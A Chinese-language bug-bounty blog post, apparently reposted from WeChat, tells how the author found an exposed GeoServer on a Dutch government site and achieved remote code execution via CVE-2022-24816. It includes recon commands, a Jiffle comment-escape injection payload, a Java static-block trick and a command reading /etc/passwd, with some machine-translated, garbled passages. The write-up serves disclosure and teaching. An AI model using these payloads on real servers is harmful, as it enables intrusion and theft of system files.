赋予动机:
在一次安全会议上,我看到一个穿着 T 恤的人,上面写着“我黑了荷兰政府,我得到的只是这件糟糕的 T 恤。出于好奇,我走近他,问他是怎么得到的。我决心要得到那个很酷的赃物。
范围:
我开始寻找机会,并偶然发现了一份符合 https://gist.github.com/R0X4R/81e6c50c091a20b060afe5c259b58cfa 错误搜索条件的网站列表。这份清单成为我的起点。
目标:
我使用 httpx 来评估列出的每个网站的实时状态、技术堆栈、HTTP 状态代码和标题。这使我能够获得对基础设施的宝贵见解。
cat scope.txt | sort -u | ~/go/bin/httpx -sc -title -tech-detect
当我检查返回 200 OK 响应的网站的功能时,我注意到一个网站正在使用服务。我尝试使用 Nuclei 进行扫描。但是,使用 Nuclei 未检测到任何漏洞。GeoServer
发现:
我发现该服务允许我访问其功能,而无需身份验证。我启动 Burp Suite 并开始与应用程序交互,探测系统内的漏洞和潜在的利用点。
所以,我对 GeoServer 做了一些研究。它基本上是一个用于共享地理空间数据的开源服务器。它支持 WFS、WMS 和 WCS 等标准协议。此外,它还附带了 JAI-EXT API,该 API 默认启用,并提供用于图像处理的高级对象。
JAI-EXT 项目包含一种名为 Jiffle 的映射代数语言。Jiffle 是一种用于处理光栅图像的简单脚本语言。它的主要目标是让您用更少的代码完成更多的工作。
经过深入研究,于 2022 年 4 月 13 日发现了 JT-JIFFLE 扩展的漏洞,被确定为 CVE-2022-24816。
开发:
该漏洞存在于 JAI-EXT 库对 Jiffle 脚本(一种映射代数语言)的处理中。Jiffle 脚本旨在在受控环境中安全地编译和执行。但是,由于验证不当,图像或其他数据中嵌入的恶意 Jiffle 代码可能会被注入并在易受攻击的系统上执行。然后,这些恶意代码可以利用 JAI-EXT 使用的 Janino Java 编译器,最终导致具有完整系统权限的远程代码执行 (RCE)。
这个解释保持简单,同时强调了核心问题:不正确的代码注入导致通过 Jiffle 脚本和 Janino 编译器进行 RCE。
通过查看补丁 [JAI-EXT-PATCH],可以快速确定该方法中添加了 Javadoc 注释转义。正如我们在上面看到的,Jiffle 使用此方法将 .it.geosolutions.jaiext.jiffle.parser.node.Script
write
scriptModel
Java source code
一种方法是首先使用 WPS 构建器演示网页制作合适的 WPS XML 请求:
此有效负载会导致 verbose :javax.media.jai.util.ImagingException
HTTP/1.1200[...]<?xml version="1.0" encoding="UTF-8"?><wps:ExecuteResponse xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:xlink="http://www.w3.org/1999/xlink" xml:lang="en" service="WPS" serviceInstance="http://localhost:8085/geoserver/ows?" version="1.0.0"><wps:Process wps:processVersion="1.0.0"><ows:Identifier>ras:Jiffle</ows:Identifier><ows:Title>Jiffle map algebra</ows:Title><ows:Abstract>Map algebra powered by Jiffle</ows:Abstract></wps:Process><wps:Status creationTime="2022-08-11T12:36:24.457Z"><wps:ProcessFailed><ows:ExceptionReport version="1.1.0"><ows:Exception exceptionCode="NoApplicableCode"><ows:ExceptionText>Process failed during executionjavax.media.jai.util.ImagingException: All factories fail for the operation &amp;quot;Jiffle&quot;All factories fail for the operation &quot;Jiffle&quot;it.geosolutions.jaiext.jiffle.JiffleException: Runtime source error for source: package it.geosolutions.jaiext.jiffle.runtime;import java.util.List;import java.util.ArrayList;import java.util.Arrays;/** * Java runtime class generated from the following Jiffle script: *&lt;code&gt; * dest = 1; */ *&lt;/code&gt; */publicclassJiffleIndirectRuntimeImplextendsit.geosolutions.jaiext.jiffle.runtime.AbstractIndirectRuntime {[...]}Runtime source error for source: package it.geosolutions.jaiext.jiffle.runtime;[...]Line 11, Column 3: One of &apos;classenum interface @&apos; expected instead of &apos;*&apos;
当 Janino 编译器遇到以 a 开头的未注释行而不是预期的关键字(如 class、enum 或 interface)时,它会在将源代码转换为字节码时遇到失败。
*
要将 Java 代码注入文件中,我们还必须通过包含字符串来纠正剩余的注释。我们的 payload 将采用以下形式:/*
<wps:LiteralData>dest = 1; */ INJECTED JAVA CODE /*</wps:LiteralData>
由 Jiffle 生成的 Java 代码,可以覆盖在程序结束时初始化 result 变量时使用的 Double 类。
doubleresult= Double.NaN;
当访问我们作的 Double 类的静态属性 NaN 时,它会启动静态代码块的执行。用作概念验证的 Double 类概述如下:
publicclassDouble {publicstaticdouble NaN;static {thrownewRuntimeException(": We control the execution flow :)"); }}
执行命令变得简单明了。我们使用以下 Double 类来启动“”命令的执行:cat /etc/passwd
将此与初始有效负载相结合以转义 Java 注释会导致以下请求:
执行上述请求会导致异常,其中包含已执行命令的输出:java.lang.ExceptionInInitializerError
我创建了一个 Nuclei 模板来检测此漏洞,您可以在此 GitHub 链接中找到该模板:CVE-2022–24816.yaml。
时间线:
2022 年 12 月 22 日报告
确认于 2022 年 12 月 23 日
2023 年 3 月 24 日获得赃物
感谢您花时间阅读我的博客。如果您觉得这些内容有帮助或有趣,请考虑给它拍手叫好!👏 非常感谢您的支持。
原文始发于微信公众号(安全狗的自我修养):我如何入侵荷兰政府:利用无辜图像进行远程代码执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论